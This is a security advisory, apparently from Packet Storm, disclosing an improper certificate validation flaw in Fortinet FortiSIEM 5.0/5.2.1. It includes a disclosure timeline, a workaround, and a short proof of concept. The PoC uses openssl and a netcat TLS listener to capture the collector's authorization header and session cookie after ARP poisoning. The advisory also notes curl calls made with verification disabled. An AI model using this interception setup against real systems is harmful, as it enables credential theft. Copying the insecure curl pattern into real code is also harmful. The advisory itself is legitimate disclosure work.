what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Fortinet FortiSIEM 5.0 / 5.2.1 Improper Certification Validation

Fortinet FortiSIEM 5.0 / 5.2.1 Improper Certification Validation
Posted Oct 1, 2019
Authored by Andrew Klaus

A FortiSIEM collector connects to a Supervisor/Worker over HTTPS TLS (443/TCP) to register itself as well as relaying event data such as syslog, netflow, SNMP, etc. When the Collector (the client) connects to the Supervisor/Worker (the server), the client does not validate the server-provided certificate against its root-CA store. Since the client does no server certificate validation, this means any certificate presented to the client will be considered valid and the connection will succeed. If an attacker spoofs a Worker/Supervisor using an ARP or DNS poisoning attack (or any other MITM attack), the Collector will blindly connect to the attacker's HTTPS TLS server. It will disclose the authentication password used along with any data being relayed. Versions 5.0 and 5.2.1 have been tested and are affected.

tags | exploit, web, root, spoof, tcp
SHA-256 | dbc1310afdd15da14c73881539c81b6d75bfa93a15e200bb1094631bd6549cbe

Fortinet FortiSIEM 5.0 / 5.2.1 Improper Certification Validation

Change Mirror Download
Product Name: FortiSIEM
Tested versions: 5.0, 5.2.1
Fixed in version: Only a manual workaround is available from Fortinet as of
this writing
Weakness Type: CWE-295 - Improper Certificate Validation
Discovered by: Andrew Klaus (Cybera Canada)
CVE: Pending


== Disclosure Timeline:
June 25, 2019: Initial Disclosure to Fortinet PSIRT (Received automated
ticket response)
July 15, 2019: Received response that the issue was forwarded to R&D Team
July 23, 2019: Fortinet contacted me to test a configuration change
July 24, 2019: Provided results of configuration change to Fortinet
Sept 23, 2019: Reminded Fortinet of public disclosure date
Oct 1, 2019: Public Disclosure


== Summary:
A FortiSIEM collector connects to a Supervisor/Worker over HTTPS TLS
(443/TCP) to register itself as well as relaying event data such as syslog,
netflow, SNMP, etc.

When the Collector (the client) connects to the Supervisor/Worker (the
server), the client does not validate the server-provided certificate
against its root-CA store. Since the client does no server certificate
validation, this means any certificate presented to the client will be
considered valid and the connection will succeed.

If an attacker spoofs a Worker/Supervisor using an ARP or DNS poisoning
attack (or any other MITM attack), the Collector will blindly connect to
the attacker's HTTPS TLS server. It will disclose the authentication
password used along with any data being relayed.


== Workaround:
Fortinet has created a document for customers to follow to enable
inter-node TLS validation.

At this time, Fortinet won't set this flag by default since it will impact
their existing customers. All new and existing customers will need to
follow the workaround guide that Fortinet is providing in order to mitigate.


== Proof of Concept (PoC):

This PoC assumes a working Collector + Supervisor/Worker setup. This could
just as easily work on a Collector that is first being registered.

Note: This utilizes OpenBSD's netcat, which supports TLS. "nc" on other
operating systems may not support TLS.

(On attacker system)
First generate a new self-signed certificate:
$ openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -nodes
-days 365

Enter any dummy certificate details information.

Netcat listen on a TLS socket:

# nc -ckv6l -K key.pem -C cert.pem %IP% 443
Listening on %IP% 443

After successfully poisoning the ARP cache to redirect the Collector to a
rogue server. The Collector will now connect to the attacker's TLS socket
and start sending data.

Connection received on %COLLECTOR-IP% 35244
GET
/phoenix/rest/sync/task?custId=%ID%&agentId=%ID%&time=1561402888&phProcessName=phMonitorAgent
HTTP/1.1
Authorization: Basic %AUTH-DATA%
Host: %SUPERVISOR-HOSTNAME%
Accept: */*
Cookie: JSESSIONID=%COOKIE-VALUE%


== Other Observations:

I observed this in the phoenix.log file on the FortiSIEM appliance:
[PH_GENERIC_DEBUG]:[eventSeverity]=PHL_DEBUG,[procName]=<unknown>,[fileName]=phHttpClient.cpp,[lineNumber]=1862,[phLogDetail]=set
CURLOPT_SSL_VERIFYPEER to no

This "VERIFYPEER" option determines whether curl verifies the authenticity
of the peer's certificate. A value of 1 means curl verifies the SSL/TLS
server certificate; 0 (zero) means it does not:
https://curl.haxx.se/libcurl/c/CURLOPT_SSL_VERIFYPEER.html.

The following provisioning scripts also have hardcoded curl commands with
the `-k / --insecure` flag set, which makes them susceptible to MITM'ing
connections when provisioning:

phProvisionCollector
phProvisionWorker
elastic_deploy.sh
elastic_deploy_url.sh


Login or Register to add favorites

File Archive:

February 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Feb 1st
    16 Files
  • 2
    Feb 2nd
    19 Files
  • 3
    Feb 3rd
    0 Files
  • 4
    Feb 4th
    0 Files
  • 5
    Feb 5th
    24 Files
  • 6
    Feb 6th
    2 Files
  • 7
    Feb 7th
    10 Files
  • 8
    Feb 8th
    25 Files
  • 9
    Feb 9th
    37 Files
  • 10
    Feb 10th
    0 Files
  • 11
    Feb 11th
    0 Files
  • 12
    Feb 12th
    17 Files
  • 13
    Feb 13th
    20 Files
  • 14
    Feb 14th
    25 Files
  • 15
    Feb 15th
    15 Files
  • 16
    Feb 16th
    6 Files
  • 17
    Feb 17th
    0 Files
  • 18
    Feb 18th
    0 Files
  • 19
    Feb 19th
    35 Files
  • 20
    Feb 20th
    25 Files
  • 21
    Feb 21st
    18 Files
  • 22
    Feb 22nd
    15 Files
  • 23
    Feb 23rd
    0 Files
  • 24
    Feb 24th
    10 Files
  • 25
    Feb 25th
    0 Files
  • 26
    Feb 26th
    37 Files
  • 27
    Feb 27th
    34 Files
  • 28
    Feb 28th
    27 Files
  • 29
    Feb 29th
    8 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close